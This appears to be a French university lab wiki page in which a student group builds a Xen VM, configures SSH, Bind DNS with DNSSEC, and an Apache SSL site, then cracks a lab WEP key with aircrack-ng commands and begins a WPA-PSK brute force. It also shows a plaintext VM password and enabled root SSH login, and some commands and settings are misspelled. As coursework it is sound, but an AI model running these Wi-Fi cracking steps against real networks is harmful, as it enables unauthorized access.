TP sysres IMA5 2021/2022 G8

De Wiki d'activités IMA
Révision datée du 10 janvier 2022 à 18:49 par Mbaumgar (discussion | contributions) (Sécurisation de serveur DNS par DNSSEC)

Création de la machine virtuelle

Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr suivant le plan d'adressage suivant

Groupe VLAN Réseau IPv4 Réseau IPv6 @IPv4 virtuelle IPv4/IPv6 6509E (E304) IPv4/IPv6 C9200 (E306) IPv4/IPv6 ISR4331 SSID VM
Mel / Theo 07 10.7.0.0/16 2001:7A8:116E:60B7::0/64 10.07.0.250 10.07.0.251 10.07.0.252 10.07.0.253 Tournesol RinceCochon

Nous commencons par créer une image pour notre machine virtuelle.

$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte

$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage
$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1
$ xl create -c /etc/xen/RinceCochon.cfg
$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

Services Internet

Connexions par ssh

dans le fichier /etc/ssh/sshd_config on a configurer le port de connexion ssh à 1359 et on a autoriser le login depuis root (PermitRootLogin yes)

on peut ainsi se connecter en ssh à la machine virtuelle avec la commande suivante :

$ ssh root@193.48.57.183 -p 1359

Serveur DNS

sur gandi.net on à reserver le DNS tournecochon.site pour notre site

Configuration Bind

on souhaite avoir notre serveur Xen comme DNS principal

on commence pour cela par installer bind

apt-get install bind9


on créé ensuite un fichier /etc/bind/named.comf.local et on ajoute

zone "tournecochon.site" IN {
       type master;
       file "/etc/bind/db.tournecochon.site";
       allow-transfer { 217.70.177.40; }
};

où 217.70.177.40 correspond à l'adresse ip du serveur DNS secondaire

type master précise que tournecochon.site est le DNS principal


Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

Certificat ssl

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

Sécurisation de site web par certificat

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/


Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :


<VirtualHost 193.48.57.183:443>
        ServerName tournecochon.site
        ServerAlias www.tournecochon.site
        DocumentRoot /var/www/tournecochon.site
        CustomLog /var/log/apache2/secure_access.log combined

        SSSLEngine on
        SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
        SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
        SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

Un accès au site en utilisant firefox nous permet de vérifier la présence du certificat.

Sécurisation de serveur DNS par DNSSEC

Activation dnssec

Dans /etc/bind/named.conf.options :

dnssec-enable yes;

Génération de la clé asymétrique de signature de clés de zone (KSK) :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE tournecochon.site

Génération de la clé asymétrique de la zone pour signer les enregistrements (ZSK) :

dnssec-keygen -a RSASHA1 -b 1024 -n ZONE tournecochon.site

On les renommes :

tournecochon.site-ksk.key
tournecochon.site-ksk.private
tournecochon.site-zsk.key
tournecochon.site-zsk.private

On inclue les clés dans à la suite de /etc/bind/db.tournecochon.site et on incrémente la valeure de Serial :

$include /etc/bind/tournecochon.site.dnssec/tournecochon.site-ksk.key
$include /etc/bind/tournecochon.site.dnssec/tournecochon.site-zsk.key

On signe les enregistrements de la zone

dnssec-signzone -o tournecochon.site -k tournecochon.site-ksk ../db.tournecochon.site tournecochon.site-zsk

On modifie le fichier /etc/bind/named.conf.local pour utiliser le fichier de zone signé :

zone "tournecochon.site" IN
{
    type master;
    file "etc/bind/db.tournecochon.site.signed";
    allow-transfer { 217.70.177.40; }
};

On enregistre la clé ksk sur la plateforme Gandi.net dans l'onglet DNSSEC.

Pour vérifier le fonctionnement du DNSSEC on exécute dans /etc/bind/ :

dnssec-verify -o tournecochon.site db.tournecochon.site.signed

Le résultat est satisfaisant :

Loading zone 'tournecochon.site' from file 'db.tournecochon.site.signed' 

Verifying the zone using the following algorithms:
- RSASHA1
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                    ZSKs: 1 active, 0 stand-by, 0 revoked

Package installé

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9

Tests d'intrusion

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'un eeePC (truite) et d'un clé wifi.

Cassage de clef WEP d’un point d’accès Wifi

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap
KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

Cassage de mot de passe WPA-PSK par force brute

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07


Intrusion sur un serveur d'application web

Fichier:Intrusion honey.zip (mot de passe habituel)